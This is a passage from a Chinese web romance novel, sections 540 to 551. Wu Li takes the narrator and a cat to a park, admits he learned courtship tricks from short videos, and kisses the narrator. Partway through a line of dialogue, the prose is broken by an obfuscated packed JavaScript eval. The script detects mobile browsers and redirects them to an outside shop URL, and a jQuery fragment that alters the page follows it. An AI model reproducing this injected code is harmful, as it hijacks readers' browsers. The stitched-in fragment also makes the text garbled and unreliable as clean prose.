我伸出手,狗蛋十分懂事地跳到我怀里。我揉了一把它的头,狗蛋谄媚地把肚皮亮给我。 “开了。”吴理愣愣地回答,像个人机。 540 见他半天没反应,我叹了口气,恨铁不成钢地盯着他。 终于,吴理反应过来,小心翼翼问:“那我们去北湖公园?” 我没有回答,只是撸了一把狗蛋的毛,笑着点了点它的额头:“带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124736|196010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去溜冰好不好?” 这一次,吴理很有眼力见地跟了上来。 541 说带狗蛋去溜冰,真到了地方,它又缩在猫包里不肯出来。 我和吴理只好找了张长椅坐下,冰天雪地里,崎岖蜿蜒的树干上只有小小的花骨朵微微敞开口子。 我们无言地欣赏着萧索的景色。 我弯腰,托着下巴,懒懒问:“今天这一出是你从哪里学来的?” 吴理那个木头脑袋何时装过“约会”这样的恋爱高级词汇,他必定是背着我报了班。 542 吴理打开手机,将一个熟悉的视频软件点开,递给我。 收藏夹里密密麻麻铺满了各式各样的花式追人小技巧—— “如何让暗恋对象喜欢上你……” “三句话,让他对你一见钟情……” 我“扑哧”一笑,打趣:“你下载软件就是为了看这些?” 放在以前,这些短视频软件全在吴理的黑名单内,我最爱刷的搞笑视频也全被他归结为毫无营养之物。 他抿了抿唇,回答我的问题:“不是,还看了昨天……他发给我的视频。” 这个他是谁,我俩都心知肚明。 可怜的路阳,在吴理这里,根本无法拥有姓名。 543 我这才想起来,路阳有一个专门用来发咪咪的账号,昨天账号发了咪咪和狗蛋打闹的视频。 我找到那个账号点开,意外发现视频的流量竟然十分不错,只不过弹幕的关注点似乎歪了一些—— 【哇,抱着猫咪的小哥哥是阳阳的朋友吗?】 【光看这个下颌线,我断定这位一定是个帅哥】 【帅哥的朋友果然都是帅哥】 【我有一个大胆的想法】 【我懂】 【能嗑吗?】 【……】 544 果然还是网友们看热闹不嫌事大。 我又点开评论区,高赞评论十分激动——“万人血书求视频最后的小哥哥露脸!” 第二条评论是“阳阳说过自己喜欢男生,那个小哥哥不会是他对象吧?” 第三条:“谁还记得这是个萌宠账号……” …… 而在那一条条评论之下,我看见了一个熟悉的头像。 物理:他不会露脸的。 物理:他们不是一对。 物理:支持,建议评论区专注观狗,不要攀扯路人。 …… “那个叫物理的是谁啊,在阳阳评论区捣什么乱,好好学你的物理去吧,别到时候考试都考不及格,举报了。” 545 我看着一条条滑不到底的回复,震惊看着他:“你都回了?” 吴理的表情竟然有些生气:“没有,后面的评论我回复不了。” 我点开他的账号主页,看到头像下鲜艳的红色感叹号和三天禁言的标识,有些无奈。 互联网水太深,饶是吴理也把握不住。 546 “为什么解释?” 我垂眸,轻声问道。 “不想他们误会。” “那你想要什么?” 547 我抬头,将手机还给他,吴理伸手,却不是来接手机,而是攥着我的手腕。 548 下一秒。 一个吻落了下来。 我下意识地侧头,那个吻便印在了我的唇角。 像一片羽毛摇摇晃晃,挠进了我的胸腔,我虚虚攥着他的袖口,不敢呼吸。 549 “想要你。” 他低着头,语气带点喘。 550 我侧过身,用手指按了按唇角,恼羞成怒:“哪有你这么追人的?刚认识就接吻?成何体统。” 吴理道歉的速度倒是很快:“抱歉,我还在学。” 我愤愤看了他一眼,却在看见他的那一瞬忽而愣住。 551 吴理笑了,眼里含着细碎的笑意,唇角微微扬起。 北风呼啸,吹得枝上的花骨朵晃荡不已。 一枝梅花从吴理身后探出来,枝头上的花骨朵颤颤巍巍地傲然怒放。 耀眼夺目。